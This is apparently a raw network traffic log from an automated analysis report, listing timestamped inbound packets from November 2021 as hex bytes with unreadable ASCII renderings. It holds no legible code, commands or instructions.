be 14 cf 7f c3 ae 6a d2 e1 92 41 34 b1 c9 88 e5 af 8b 28 19 e4 7c dc ce e3 59 89 52 0f b5 38 da 43 b9 f8 b2 a1 cd 79 6c 
89 9c 5f b4 17 be 64 55 05 8c 39 87 3c f6 fa 0a d9 6c a6 53 13 e5 e5 7d cd e6 2e e4 f2 ea b9 d0 ad 37 20 8b 23 39 5e e2 
39 fa 0c 64 a6 38 5f 1a 72 75 1f 4c 0f 14 22 ad b7 7d 59 eb db 49 f8 a4 a8 81 a0 0e 11 53 3b 59 e4 a4 3d d3 19 c6 82 ff 29 
0a 9b 74 55 69 a3 36 2c b3 16 c5 dc b9 16 fc 2a 
Data Ascii: / 50u@tF0:EV:3*TjqSXV"]dVU]=X(~1Ja!kNzX%SzjA4(|YR8Cyl_dU9<lS}.7 #9^9d8_ruL"}YIS;Y=)tUi6,*

2021-11-24 20:00:29 UTC 148 IN Data Raw: f3 c9 39 79 db 44 04 f6 15 2f 71 1f be c1 a2 71 4d 69 37 73 aa ef a4 d0 9c 5c 28 35 70 e8 10 42 c0 7c de 3f cb 
a7 cb 9a e7 32 ff 99 13 de 96 57 27 5a b6 6f f9 20 4e 1d 2c 70 03 75 5f ab 6b 06 2b e3 56 a8 7d 6d d3 f6 70 90 87 8f 05 48 
0f 4a 5a e1 cb 40 38 d9 37 dd 25 29 75 85 d6 5b 47 2e c8 37 a9 d4 69 3a c8 05 4b d5 04 bb 28 e9 5f a0 4e 91 0d e8 12 34 
96 a4 42 d2 bb b2 e6 06 bf ce 1e 88 99 4c 8a 14 ca 92 df b3 99 20 48 ad 5a f3 ce 2e bd 62 27 ab 38 a4 a1 a9 08 5e 1a 4a 
89 38 59 bb ed 2b b8 8d 68 89 85 5b b8 c3 d5 48 77 08 0e 6c c9 2e 86 87 df f6 4c 6a 81 d0 6f 31 a3 34 32 8d d8 b1 82 67 
35 7e e5 c5 9d 40 dd 29 06 c7 16 aa 78 80 1e 55 25 d3 9b fd 23 00 68 a3 76 cd 0a eb d4 2a d8 d2 7b 6d 1f e3 ff 80 95 a7 
ca 12 8e b5 e2 a7 66 e1 a7 97 f2 8b 1e 34 10 f8 13 
Data Ascii: 9yD/qqMi7s\(5pB|?2W'Zo N,pu_k+V}mpHJZ@87%)u[G.7i:K(_N4BL HZ.b'8^J8Y+h[Hwl.Ljo142g5~@)xU%#hv*
{mf4

2021-11-24 20:00:29 UTC 150 IN Data Raw: 24 1f b9 9d 24 9f 31 29 4d e7 c3 8c 47 77 79 2c ea 30 02 8d df cd 83 24 00 57 8b 03 a7 0d bc ff 7d 28 e6 70 c5 
a6 ff 55 56 44 f2 ec cf 10 b1 2e 08 ee 5b 74 15 b2 35 71 fb 56 e7 26 8e 18 78 2f ee d6 0b 34 04 c2 78 b2 4b 14 91 a0 66 
ce 2d d8 f8 a9 e7 37 4d 09 ca 57 db 39 fe bb 99 25 31 e6 4e e0 8d d2 d0 7b b7 4c d6 b0 e9 8d f8 87 a6 0a 5f cf 56 5a af 
75 70 a4 54 2f 0a 10 5c 3d ba dc 9f b7 cb 5f d6 8b 9c c5 b1 c2 8b 42 75 1c 83 11 aa 1e a3 d1 20 5f 0d 30 7a 3e e3 c5 c1 
e5 64 50 e7 d6 c7 af d6 8a 8e 22 8b b9 3c 77 db 1f da 14 6e 8e 15 7d 7e 59 5f 99 2c be 38 20 a9 91 ec d9 95 42 d2 dd 8d 
9a af 83 b5 13 c9 1e 54 f8 aa 1d db 05 c9 aa f2 47 27 9d 5e cf 3f 17 35 2c b1 1c ff a0 20 17 66 0b 3d e9 3b 62 a4 e7 3d ba 
cb 6f 3c f4 80 74 86 f0 ed eb 08 1e 17 d2 44 31 ae 
Data Ascii: $$1)MGwy,0$W}(pUVD.[t5qV&x/4xKf-7MW9%1N{L_VZupT/\=_Bu _0z>dP"<wn}~Y_,8 BTG'^?5, f=;b=o<tD1

Timestamp
kBytes
transferred Direction Data
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2021-11-24 20:00:29 UTC 151 IN Data Raw: b1 c4 3c c7 00 a6 c7 22 28 55 fd 40 0f 23 3a 6d fb 76 34 83 64 02 c2 b7 e9 ac 93 e3 bd d6 8c 9a 2d 9d d0 fa d6
fd 8c 86 5a f8 e4 ff f2 3c 7a 8f 1a 25 06 a2 eb 9b dc e9 4e 78 d7 19 1e 12 6b 95 9c af 1b 8f 16 09 b5 ae 59 f1 fe 1e a9 9b 
68 20 9a 3c f5 3d b9 0d f8 35 bc 5a ae 4a 42 1f d0 c3 8f fa d1 a1 ef f8 af 76 6a d4 1b ef 1d 83 3f b7 db c7 47 5b f7 2e 88 f4 
1d c5 10 19 df 4b b7 49 ba fd 4c 51 6e 88 8c 59 ba ba a0 8d 95 68 ac b0 ff 91 d8 c3 75 5f 7d 32 7f c6 20 a8 ae c9 f2 1d 7a 
13 89 d8 42 ca 31 0e 66 e2 9f ad f3 30 78 d5 9d d8 b8 d4 24 65 99 6c 9c 68 e8 72 68 0c 88 8f cd 14 f2 24 06 35 58 85 0d 
3c 1d 59 52 88 34 fe 05 3d 79 7c 98 15 8d 64 5a a1 4c f5 1f 6f 64 0d 07 8b f7 e2 b4 91 d8 c8 ef 47 fb dc a4 65 d9 42 59 02 
1c 1e 5d 6c 63 29 ca 76 e5 06 95 ab 33 
Data Ascii: <"(U@#:mv4d-Z<z%NxkYh <=5ZJBvj?G[.KILQnYhu_}2 zB1f0x$elhrh$5X<YR4=y|dZLodGeBY]lc)v3

2021-11-24 20:00:29 UTC 152 IN Data Raw: ff 25 b0 26 ad 21 6f fe 31 57 e5 79 0e 42 c8 cd e9 4d 6b 6b b2 22 ad 96 6f e6 d0 a5 1e 8f f6 f2 9b d1 81 08 bf ec
8f 6a 55 9d eb 78 a2 05 ee 14 4b da e0 35 af 57 b6 b3 a1 ff 6f 33 68 81 0f 96 5f 10 a5 7f 2e 20 f4 79 f1 9b f8 8e 9a fe 1d a5
fb a9 ef c2 a7 f7 4d 6d 95 24 2f d9 06 7b b7 08 43 61 44 a0 30 53 bf e1 c8 90 09 9e b6 a7 7d c1 d6 87 63 44 14 80 1a a8 
60 c3 e7 28 54 1c 2e 5f 0b a6 f6 c4 cf fb 31 6a c2 c6 88 d2 ab fe 3c 93 30 54 7f fc 15 d5 34 50 8a 36 72 33 58 63 ac 1e ae 
27 1b 8f aa f6 23 df e0 eb 59 56 60 4e 69 6f d3 90 f8 a0 78 18 a2 43 97 5f 7d 08 fa df 0d 87 1a d8 fc e1 f7 75 e4 a1 01 79 
f1 8c a9 f7 01 da c0 5d 8d f0 72 2e a6 f5 15 69 89 2f 7d 46 3f fa e3 fc 1e d1 ef 52 14 5c fd af e5 9a 44 a4 97 3f 4e f0 a0 5b 
a8 89 42 e2 6c fe 58 af 6c 6d bf 
Data Ascii: %&!o1WyBMkk"ojUxK5Wo3h_. yMm$/{CaD0S}cD`(T._1j<0T4P6r3Xc'#YV`NioxC_}uy]r.i/}F?R\D?N[BlXlm

2021-11-24 20:00:29 UTC 154 IN Data Raw: d7 e4 8a 98 f7 f6 e4 50 e3 d3 cb d7 e3 c6 c0 74 cd ce 21 78 c7 99 79 fa df 82 5b 0d 6b 29 0c fb cb 6c b4 ac f4 
84 2d 24 4b 58 9d 2e 41 f8 e7 02 e9 a8 2d 9b fc 30 23 95 37 e9 0a 89 2f c6 0f c9 36 cf 2d 35 38 a1 a4 fa 91 89 ea b1 eb 
e8 75 39 87 12 9d 37 f6 1a 8f ba 9a 03 02 c5 59 fd db 29 83 17 7d f3 76 c7 3b c9 db 14 4a 03 a2 ef 15 b1 a5 eb b1 84 5c 
92 d5 c8 90 e1 f9 5f 7c 01 27 47 fd 15 c9 d3 a6 9f 24 7d 3a c5 92 41 cd 1a 02 02 f3 d8 07 30 d7 94 2d 72 2d 6a 12 e4 d2 
66 a4 49 b0 4a c9 f7 97 64 17 72 fb f6 6e 58 7d 43 c7 1e 71 4d 2d 65 dc 18 db 2f 16 15 0b a0 27 fd 7c 32 9e 66 90 15 55 
1b 63 35 b2 9f ca 88 cb 9d 9f 84 44 c7 e1 8b 1f e3 6a 27 70 64 7f 74 7a 15 59 ab 0c d3 7e f4 f2 7e 91 2d 7c 57 a0 94 20 d6
69 d5 87 70 42 36 ed 41 aa c9 26 14 b6 33 d7 b5 90 
Data Ascii: Pt!xy[k)l-$KX.A-0#7/6-58u97Y)}v;J\_|'G$}:A0-r-jfIJdrnX}CqM-e/'|2fUc5Dj'pdtzY~~-|W ipB6A&3

2021-11-24 20:00:29 UTC 155 IN Data Raw: 3a 28 79 fe 70 1b 37 2f 09 76 d5 53 05 30 b6 87 54 e1 6a ac 2e c0 39 78 cd f0 15 c7 2a de de 88 de 14 4e 05 
94 12 be 72 1d b5 76 4b 75 b7 1f 9d fb a1 e2 b6 e3 04 b3 dd 91 f2 f6 85 a0 63 33 ec 4e 56 8e 5e 57 87 57 24 0d 03 e3 50 
29 cb 8c a9 cb 71 d4 9d 9e 0e a6 f9 99 70 43 3d a7 3f 8d 1f c9 fc 03 76 3d 0c 59 3d cb ef ef a6 f8 46 61 be ae c6 90 f3 ed 
45 e9 45 60 3b 54 d1 14 97 fb 63 fb c5 95 e4 c9 09 a6 75 89 b1 26 6a 4c a7 60 33 06 0e 5f 66 60 42 23 f7 82 ed 86 10 61 
94 13 e6 31 42 63 eb c9 58 ed 60 aa 86 80 8f 18 ee df 6c 11 c9 c5 ac a0 30 9c c4 05 c5 c4 4c 09 98 ca 2a 2b dd 57 71 4a 
12 b9 90 82 61 f9 90 27 36 0b 9e c5 b5 b6 11 a4 8b 36 00 c1 bc 3c a5 fc 41 cb 47 d7 6f 96 50 51 d4 71 ff e4 7c 9e dd 2b 
a3 78 1d d6 35 87 2b 35 00 19 69 21 ab cf 71 45 4c 9b 
Data Ascii: :(yp7/vS0Tj.9x*NrvKuc3NV^WW$P)qpC=?v=Y=FaEE`;Tcu&jL`3_f`B#a1BcX`l0L*+WqJa'66<AGoPQq|+x5+
5i!qEL

2021-11-24 20:00:29 UTC 156 IN Data Raw: d2 43 27 6a 0e 3d 84 ad 08 93 e7 df b3 53 58 37 2d a2 35 3d de 80 54 d6 81 32 9f b5 70 67 cb 19 c5 10 f9 1b 
ee 36 8e 4f d8 57 21 58 93 f8 d4 bf b9 c6 cd a2 8b 4f 37 82 30 9f 70 b4 04 f0 ea b2 5a 4c 91 3a 92 c4 1c bf 77 1c 80 13 a9 
15 bf bf 75 36 48 b1 ec 63 92 c1 c0 ad 93 40 93 a8 8e 81 f6 f7 b1 c5 e8 d7 a3 0a fd 68 6d 07 66 86 87 d3 7e 36 f8 47 f8 ca 
a1 16 7d 57 3d c2 90 23 0a 79 74 06 d7 b0 47 c6 24 de 61 ed 80 fa 1b 6a 24 d2 cf 1c 34 04 3c e1 10 18 31 18 30 8a 0c cf 
3e 4b 6d 52 c0 56 94 03 08 ab 48 a5 28 75 2a 4d 0a a6 bb be f3 e2 a7 a0 8c 24 89 b4 d0 09 ae 28 39 77 76 21 4b 43 71 
30 b0 32 b9 49 cd d0 46 a8 5b 06 3e ca f9 19 c1 03 af fc 11 4b 1b a6 0e ac 9e 77 18 bd d5 2b 01 73 f8 10 ef 97 af 74 cc ba 
e3 4a 68 bd 47 b5 39 2f 9f 4c 8f 30 84 37 6c 5b 1d 
Data Ascii: C'j=SX7-5=T2pg6OW!XO70pZL:wu6Hc@hmf~6G}W=#ytG$aj$4<10>KmRVH(u*M$(9wv!KCq02IF[>
Kw+stJhG9/L07l[

2021-11-24 20:00:29 UTC 157 IN Data Raw: ce 1f c2 37 ca 99 de 9c 41 07 21 d1 5b 8a 2d 7e cd 0a 2f 3c de 5c ee 88 c4 c1 dd bd 49 e1 ab da 9d e3 9b a1 
7a 5a ba 11 72 83 51 65 ae 6d 08 37 13 e4 5d 31 e8 b7 96 c7 3d d3 be a9 69 a8 d2 b2 64 54 1b be 20 89 1c e7 fc 25 a9 fa 
fb 92 d8 20 1d 4a 5f 6b be 83 37 01 79 3c 45 5f ee 57 ee fa b7 02 e2 2a c8 fc 7b cd 87 c1 9b b7 65 e7 32 b4 d6 49 79 79 
8b 0b 2e 27 2e 63 52 58 26 10 a2 9c c6 97 08 68 c2 30 f4 60 02 09 a0 8c 10 89 01 d7 98 bb a3 31 e8 cb 55 3f 80 f7 b3 b2 
48 a0 ec 2b e5 84 11 4b e5 a4 7b 07 f7 1a 6e 37 66 9d 87 94 73 e7 8a 3f 73 30 ab e8 c9 a2 05 8b a2 31 20 ec 81 25 96 fb 
54 f8 74 f1 56 bd 91 92 5c fc 66 1d f4 05 26 b4 27 94 85 5d c5 16 93 e2 92 df c9 97 48 cb 0e 12 04 d0 0c 6c 3f b3 a0 84 10 
2a ee 95 b8 f9 f8 7b d9 01 bc 5e 65 ff ce 48 30 07 cf 
Data Ascii: 7A![-~/<\IzZrQem7]1=idT % J_k7y<E_W*{e2Iyy.'.cRX&h0`1U?H+K{n7fs?s01 %TtV\f&']Hl?*{^eH0

2021-11-24 20:00:29 UTC 159 IN Data Raw: 5b e4 c2 31 46 f8 47 80 3b ff 7a 93 53 94 26 dc 35 39 08 d4 dd ce aa ac d9 d1 ad d1 0d 3c 9c 52 ab 16 c2 73 
d9 ab a2 2d 27 bd 67 d8 dd 36 ac 60 1c 9f fd 49 df 0c 5a 86 df 86 7c 3e 83 7f 28 63 4d 64 a2 78 78 4a 4f 39 30 8a ed c5 ec 
8f 25 db 4e 40 02 2e 87 9b d5 72 15 db 55 c4 f3 9f 39 6a 47 1d f8 a7 09 15 5b 62 05 db ec 19 90 79 82 4b c3 d7 c9 24 37 
7b b3 a8 67 59 61 7f 8b 7a 7a 73 6d 43 ee 7e a3 50 75 05 15 d5 5b 88 12 38 d3 2d fb 66 01 01 76 2c 83 89 99 c5 ca a5 bb 
9e 02 b4 8c f5 3d cd 35 1e 41 5d 46 28 32 2e 78 9e 2b a8 5f e9 21 a2 5c aa d0 fa 18 13 e2 11 fc 54 1b cf a3 f1 5c e4 7d 
53 89 ef 40 d1 30 14 25 d4 0e ec b7 bb 1c bc 98 83 3a 18 ac 45 97 15 09 a4 6e bb 2e f6 51 04 37 42 0a 52 e4 20 53 fe de 
2e 6f a5 8e a0 f5 92 02 16 c5 4b 7f 14 4f e0 5e b5 f1 
Data Ascii: [1FG;zS&59<Rs-'g6`IZ|>(cMdxxJO90%N@.rU9jG[byK$7{gYazzsmC~Pu[8-fv,=5A]F(2.x+_!\T\}S@0%:En.Q7BR 
S.oKO^

2021-11-24 20:00:29 UTC 160 IN Data Raw: fd f0 80 50 ed a1 ee bb da e2 b5 1f 35 de 7a 6b 89 53 2a 9b 65 1d 3f 1e fd 4a ed 17 43 7b 19 97 1a 45 51 89 5a 
3a 11 a9 82 d0 54 84 38 a5 3d 30 f9 90 ce ed 8f c7 75 48 51 52 42 8f c9 77 6b 0a 50 22 7f c0 78 d1 e8 b2 3c d8 42 b2 d7 
3f a5 e8 b9 c0 ef 5a d0 6e f5 d4 49 67 0c f9 6d 46 58 40 0b 32 31 43 14 91 d6 b9 ee 7f 4a a7 59 8d 56 2c 10 ea 9c 07 cd 
56 df f1 b0 ad 0f 94 df 70 49 e5 85 b1 ab 51 91 cd 05 84 e0 36 62 e6 a5 1a 61 84 3e 6c 39 74 e6 9c bf 51 d9 bb ef e4 c8 5f 
1a 30 4b cb 77 0a ba da 0e 64 84 6d 0e a2 79 ac 26 85 30 ef e2 64 92 10 3c 9c 61 2b af 35 95 98 54 8c 1f a4 db 87 e1 f3 
a2 54 8a 11 37 27 bf 6a 6a 42 e9 87 c9 5b 04 a5 fa 82 b2 ae 2e f3 28 fa 74 67 b4 9d 06 7f 67 b0 7c 69 32 f9 04 57 e1 aa 
ae a7 a1 83 f4 4e 15 67 1f 00 3a 55 20 e5 0e b2 21 
Data Ascii: P5zkS*e?JC{EQZ:T8=0uHQRBwkP"x<B?ZnIgmFX@21CJYV,VpIQ6ba>l9tQ_0Kwdmy&0d<a+5TT7'jjB[.(tgg|i
2WNg:U !

2021-11-24 20:00:29 UTC 161 IN Data Raw: e9 89 14 c1 df 67 8c 58 f0 21 86 19 66 4a c7 c7 4b 90 27 23 c9 69 9f fb 75 ef 59 f0 2a 41 8a ec 9e 78 20 b5 40 
17 0a 73 1b c2 4b 1e 5d 08 68 63 dd fd 89 b8 c0 7d de 03 1b 78 5c bb e1 bb 0c 07 c7 02 be cc e1 52 69 09 75 ce e6 7d 6d 
11 20 55 b9 90 27 d3 17 f2 0a 9f e3 93 69 19 42 b2 8b 74 47 29 34 9e 65 5c 75 70 5c d9 54 8b 6a 7c 05 00 e8 6c a4 1b 38 
cd 30 dc 4f 57 0f 3f 3c fa 87 8c c8 95 72 61 36 b7 17 21 19 c2 27 a5 ec e6 f9 af a0 b3 9c de 28 91 10 bb 64 3f bf 4c bd eb 
8d 65 53 b7 7a 93 29 6e 84 be d2 6b d3 7f 56 a1 cd 3c de 24 60 1e 8b 78 99 c9 d1 19 ad ca 8c 2b 1d cb 32 a7 65 7c c4 44 
9e 6f 97 35 67 49 08 47 4a ce 16 6b 8c ba 47 1a e6 c1 8a e3 9d 18 04 83 13 64 0c 5e 8b 00 88 d3 e8 15 5c 1a 43 5c dd c2 
05 7c 22 cc 7e cb bf 11 48 9a fd cf 8c ec 92 9a 2b 
Data Ascii: gX!fJK'#iuY*Ax @sK]hc}x\Riu}m U'iBtG)4e\up\Tj|l80OW?<ra6!'(d?LeSz)nkV<$`x+2e|Do5gIGJkGd^\C\|"~H+

2021-11-24 20:00:29 UTC 162 IN Data Raw: fa 39 db 9f b1 fa d0 f3 8d 9c 2f 85 ac bf 62 55 c5 92 98 8c 38 f6 6d 35 e6 08 39 52 18 c5 7c dd c9 e6 37 76 67 
d3 b9 f6 f0 ae c4 a2 31 19 c1 e0 95 df 15 6d 93 0a e4 00 72 5f bb 01 f4 15 30 a9 64 e4 7d c6 c9 d3 ad 86 9c 8a 86 b5 79 
60 4a 64 ef 8c 46 fd bf d3 bc d2 5a 16 47 76 c1 17 07 14 ca 9e 3c 79 9d 93 74 40 09 1d 09 0b 35 a0 7b 18 4d f9 1e 18 fb 
83 35 8a 87 9b c0 08 73 1e b7 68 0e ac 6a ae a8 7e 62 14 7f 21 6b 91 9e 47 b8 f1 7a 42 eb 61 1a 46 b4 3d f4 fd 0e 91 b5 
7f 81 77 be eb 35 c3 e2 3e 84 64 16 88 e1 89 7c dd 84 ba 6a 40 71 9e ea 2f 6a c5 e5 ca 4a 4a 83 de 48 b7 bb 1c af 74 e1 
04 84 83 a0 27 f9 6d b1 1f 59 38 b7 1d 5d dd a1 b8 a3 8e c7 e6 5e 1d 94 2e 75 04 7b 3b 5e 2c a9 23 4f 1b b9 17 54 45 6d 
9e da 22 29 9f 32 37 43 f4 41 a7 4e 2f 81 e6 f4 e2 4c 
Data Ascii: 9/bU8m59R|7vg1mr_0d}y`JdFZGv<yt@5{M5shj~b!kGzBaF=w5>d|j@q/jJJHt'mY8]^.u{;^,#OTEm")27CAN/L

Timestamp
kBytes
transferred Direction Data
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2021-11-24 20:00:29 UTC 164 IN Data Raw: 2c 8e de f0 96 74 08 4e 1f d7 5c 90 ff b1 e5 af 7d 84 a3 bb 94 c3 6c 72 1a 23 26 43 66 36 bc aa 32 de 6c 6d 01 
ae 43 31 1a 2a 14 6c 31 af 3b e7 02 53 7a fd ea a5 d9 29 d1 fc 36 85 6a 80 11 6b 33 e2 8b fd ae 20 d4 c1 e9 cc d0 ce a3 
cc dc d2 90 f7 83 d4 fc a6 8b 6b ee 3f 88 95 70 8c 52 d2 b9 bf 05 89 2a 01 20 7a 20 10 78 03 b1 14 b9 4c d9 18 b1 ae fb 
e0 ba 87 a0 92 4f 22 e4 11 e1 60 d0 f0 29 dc a4 89 2c 70 81 5b af 14 da 99 4a a1 12 ba fe 1b f1 8c 1d 9e 67 4b 01 90 43 
b7 24 ec 20 86 ee b2 c2 35 45 14 fc 6e 7e d6 88 f6 70 9e b0 64 ca 21 4e 0c 86 4f 6d be a0 4b 0a ee c3 d7 fc 96 1f 11 de 
0a 60 1c 4e b3 62 95 86 cc 46 7e 25 21 7a fc f6 22 59 07 fa 41 a3 86 55 65 bd c0 e7 8d f8 93 9e 39 09 d7 fc e4 9a 25 bb 
10 25 e8 22 e0 6e 93 32 ed e3 66 ee 53 19 db f9 b9 38 
Data Ascii: ,tN\}lr#&Cf62lmC1*l1;Sz)6jk3 k?pR* z xLO"`),p[JgKC$ 5En~pd!NOmK`NbF~%!z"YAUe9%%"n2fS8

2021-11-24 20:00:29 UTC 165 IN Data Raw: 30 3d 50 13 e1 c5 7c cf e6 2e 63 d7 53 aa dd 8f 8d 23 8b 23 c8 5b b8 38 e7 13 fa 8f 39 5f 1a 74 4d 99 ed 97 ea 
16 b4 97 51 5a c6 d9 c0 dc 89 ba a7 80 b6 13 22 39 e3 e8 c8 38 e2 06 bb ab 98 2b 3b 9d 2c d2 45 3a 06 2c c5 37 23 de 
88 16 14 0e 7f e0 29 62 d6 7c f8 96 c8 49 6e fc 8a 76 97 d0 ed c7 05 1c 19 e0 1e 1d bc ed b3 04 48 6f 19 81 36 09 28 99 
4a 2f c7 2d 55 ea 71 ef 64 d6 a2 f3 ed 26 93 0c 2c 8c 7a 40 d2 57 97 f5 2d de 69 cc e9 e0 99 91 dc 3d 71 6d 4d 52 94 53 ff 
6b c8 da fb 79 32 87 d3 d3 86 88 d0 a8 64 d7 3a 3d 53 b5 37 5a 53 97 57 49 28 fa 1c 7b 08 ae a8 f3 85 90 7e 5a 0d 5b 1e 
22 36 7d 2b f9 12 8f c8 5f 0b f2 0d 72 90 76 93 96 1b 0f a1 27 24 0a f5 67 f4 5c 3f 11 fc 4d 64 48 4b 91 db 19 0f 7b df 27 
06 0e 8b c4 1e dc 76 fd a2 19 d0 41 79 7d ce 57 d0 
Data Ascii: 0=P|.cS##[89_tMQZ"98+;,E:,7#)b|InvHo6(J/-Uqd&,z@W-i=qmMRSky2d:=S7ZSWI({~Z["6}+_rv'$g\?Md
HK{'vAy}W

2021-11-24 20:00:29 UTC 166 IN Data Raw: 16 0c 6a d6 50 af b9 c2 f0 4a 32 06 be f4 36 a3 23 15 7c d8 b7 82 62 11 43 f5 e5 bd b2 d8 3a 19 e1 61 c8 7f 90 
03 70 0d 8c 98 7a 04 2b ea af ee df 08 ee f4 ba db 5e 5a d6 3a bc ef 37 94 64 c8 60 8f 03 58 ad 66 93 be 24 fe 8f 1e 40 3b 
77 6f 3b 2b 3e ac 19 38 77 8a 44 aa be f1 c1 e9 db a7 81 d2 04 9c 64 e6 6d 64 cb 1d 9d a3 c2 60 56 b2 34 a8 25 72 ba f3 
a8 13 8b 3a 3b c5 cd 1a 08 42 4b 35 b0 56 21 c7 fc 36 ed e9 f9 00 38 fc 7c fb 63 66 c5 01 a2 77 8d 28 77 43 14 4f 1f 99 58
2e ea a1 7d 29 ef db c5 fb 9b 1d 10 df 95 60 11 4c b5 64 0c f2 de 36 29 a0 53 7a 44 d4 74 d9 14 fd f9 93 d7 a7 fb a9 78 c5 
8b fc 0a 98 2b 1b 81 e3 97 e9 99 85 46 a4 fb 26 5d 48 c4 b2 72 90 da cd 55 02 42 fa aa 32 45 61 d8 f1 ec b7 53 f5 0c bd 
19 58 98 a2 6d 0c d1 16 17 1c da 0d ca a3 22 
Data Ascii: jPJ26#|bC:apz+^Z:7d`Xf$@;wo;+>8wDdmd`V4%r:;BK5V!68|cfw(wCOX.})`Ld6)SzDtx+F&]HrUB2EaSXm"

2021-11-24 20:00:29 UTC 168 IN Data Raw: 12 6d e2 34 5d 1a 74 5f df 30 3a 3d 06 a8 96 c6 f3 ca db d3 dd 89 fc a5 bc bf 3d 52 39 79 35 ad 3d d3 06 c9 29 
d2 59 0b a2 5f d1 17 2e 15 2c b7 36 79 98 bb 93 73 46 1c e2 38 2a 86 7d 18 97 d9 58 1c 8f 82 15 87 d2 9f 5e 2a 1e 08 e0 
6c 1d ac 9d a3 6a 5a 6a 14 37 05 09 b7 98 47 2b ce 03 63 fe 61 ef 75 6a 1f f2 fd 24 82 0f 6d a7 7d d2 c3 55 e5 40 1c dc 78
cc a0 e1 91 bd e8 2e a0 6e 40 48 a6 53 35 6c c5 c9 f2 4d 72 03 de d3 97 88 01 a9 74 55 2b 2b b9 c0 26 39 40 95 32 4b 
38 f8 0d fb f0 b1 98 83 95 f8 e0 5a 1d b5 2b 22 00 69 3b ea 0b 7f 2e 28 19 f3 1c 52 4d 7f 9e b4 0a 1e ba d9 17 88 e6 64 8a 
8c 0a 13 ed 4d f8 5b 4e 2f dd 95 7f 79 c9 dd 32 0e f9 e5 3a cf 6f 38 45 8c c2 40 68 e9 9a 56 e2 26 4d a7 9d 8c ce 40 fc bc 
d4 08 ca a5 f1 c9 39 4f c1 1d 05 70 0a 26 59 76 
Data Ascii: m4]t_0:==R9y5=)Y_.,6ysF8*}X^*ljZj7G+cauj$m}U@x.n@HS5lMrtU++&9@2K8Z+"i;.(RMdM[N/y2:o8E@hV
&M@9Op&Yv

2021-11-24 20:00:29 UTC 169 IN Data Raw: f7 e3 bd a1 5f 29 10 c7 13 80 b1 8c 1b 71 0d fe 99 fd a5 2a fc fd 9d cd d3 e3 ee c8 da d2 7b f7 ba ce f8 86 c7 44
20 1e 94 95 79 8c 66 e1 3f bf c9 a9 6c 33 cb 76 70 3a 2b 2d ab 14 ba 51 9c 16 d9 af 04 eb f4 a9 a6 92 d0 22 1c 16 f4 40 
14 e9 1e e2 bc 89 62 57 b2 46 29 14 47 9b 81 ba 19 b7 06 3a c5 bf 1b 9e e3 4a 23 83 42 b0 fa f0 17 9f e8 b2 02 3e 7c 0e 
ec 4e 16 c5 20 dd 57 9e 2a 76 43 07 c8 0c 88 7e 5c 99 96 46 2b ee d3 50 fc 96 1f 11 c9 0a 13 1d 16 be 43 95 80 4b 34 7f 
20 21 6d fc 85 23 31 0a db 41 98 06 27 64 a8 c0 f0 8d 02 9a 94 3b 3b d7 17 62 e8 24 a6 10 32 e8 bd e2 fd 9f 10 ed 49 e0 
ee 53 04 db ea b9 42 12 7c a7 d2 2e ac 8d 75 1f ba db 6d ce 50 f3 bd 1e 17 11 66 cb 0b d9 a1 74 ab d8 81 cb 23 3d 82 60 
18 cd 88 cd 0a be 2b 94 fe 03 57 3e 09 4d 6b 68 90 
Data Ascii: _)q*{D yf?l3vp:+-Q"@bWF)G:J#B>|N W*vC~\F+PCK4 !m#1A'd;;b$2ISB|.umPft#=`+W>Mkh

2021-11-24 20:00:29 UTC 170 IN Data Raw: b5 13 53 3b 6a e9 fe 3c 1b 14 ef aa ca 9c 0a 9d 5e d3 04 3a fd 2b 47 27 5f de 79 a1 66 0f 1d e0 2b 62 c1 7f e8 
86 ff 49 68 44 83 74 86 d0 8c c6 f0 17 f8 f1 4a 1c c0 54 a2 04 5b 68 07 83 bb 0b 47 89 61 2d d6 2d 46 ed e1 ed 64 f6 4f f3 
75 37 a4 0c d9 36 77 42 c3 57 f6 f4 4c dd 26 c7 8a e7 e1 2d cd 3d a0 6c 53 50 b3 47 c5 7d ef d8 02 b9 57 85 de d1 84 88 
c7 ab 71 c1 01 3d 8d 70 27 58 42 97 21 4b 46 ec fd 6a da a7 20 33 94 90 e2 58 0e 59 ff 20 f0 78 11 fb 1f 4c 0e 5d 1b f0 0f 
72 8a 6a 6e 85 20 0f 12 e3 37 08 e4 67 99 48 35 10 1d 5c d2 4a 62 57 ca 19 7d 7a da 25 f2 18 09 d4 10 de cf 39 52 1b c0 
43 7b 7d f2 55 12 37 67 b1 b1 3b cf e9 fe bf c7 04 cf b2 01 d8 13 59 71 aa 04 f6 0a 25 4a 32 c4 c2 54 4a e1 17 9a b4 aa 
eb 84 0c 8d 5c 64 b8 a5 d4 28 64 cc 69 dc 3f cb 
Data Ascii: S;j<^:+G'_yf+bIhDtJT[hGa--FdOu76wBWL&-=lSPG}Wq=p'XB!KFj 3XY xL]rjn 7gH5\JbW}z%9RC{}U7g;Y
q%J2TJ\d(di?

2021-11-24 20:00:29 UTC 171 IN Data Raw: ef f4 ce d2 38 54 37 3a e2 ee 36 89 44 c8 12 8e 93 71 0d 49 cf be 92 df 4d 22 33 3a 7a 6d 3c 23 a7 84 8c 39 
7c 8a e6 97 af f3 e7 e9 af ae 5b d3 0c 9d 38 e7 64 5b e9 1d ef a2 8f 6a 86 b1 de aa 3a 51 ab ce ba 14 ba 19 3c cd 00 03 
b0 62 65 35 e7 6c b6 e6 fd 36 99 e0 69 1a a6 ff 21 fa 3e 59 c5 01 d0 76 98 22 7c 41 77 4c 3c 9b da 13 99 a0 4b 0a e8 d3 
f0 fe 35 02 21 df 9a 5c 1d 4e b3 62 93 fc 44 32 e6 27 10 7b 38 ca 23 59 07 fa 47 b8 14 21 c0 a5 f1 e6 59 c7 92 9e 38 19 
d1 6b 6a f4 94 bb 22 24 e0 1f e1 6b 92 32 eb 99 cf f2 e6 19 e9 fc a8 0e 12 e1 aa f0 48 97 eb 73 a4 a7 e8 7b da 1c f3 0d 13 
35 15 02 6d 2e 62 bc 41 bd 7c cd cb ed 30 a0 66 80 60 a1 e8 0e 89 3a 4c b2 03 bf 33 2a 4b ef a6 b9 94 76 4e 32 26 23 01 
8d d9 e7 03 52 f7 7b 78 1a bf 0e a7 c0 7c b2 c3 5d d1 
Data Ascii: 8T7:6DqIM"3:zm<#9|[8d[j:Q<be5l6i!>Yv"|AwL<K5!\NbD2'{8#YG!Y8kj"$k2Hs{5m.bA|0f`:L3*KvN2&#R{x|]

2021-11-24 20:00:29 UTC 173 IN Data Raw: d8 b1 d8 6e 21 03 b7 38 5e f7 7c 18 97 d9 4f 14 b6 8b 5c 98 87 9f b6 5b 1f 08 e0 6c 1a a4 b3 aa 2a 45 3f 14 ff 
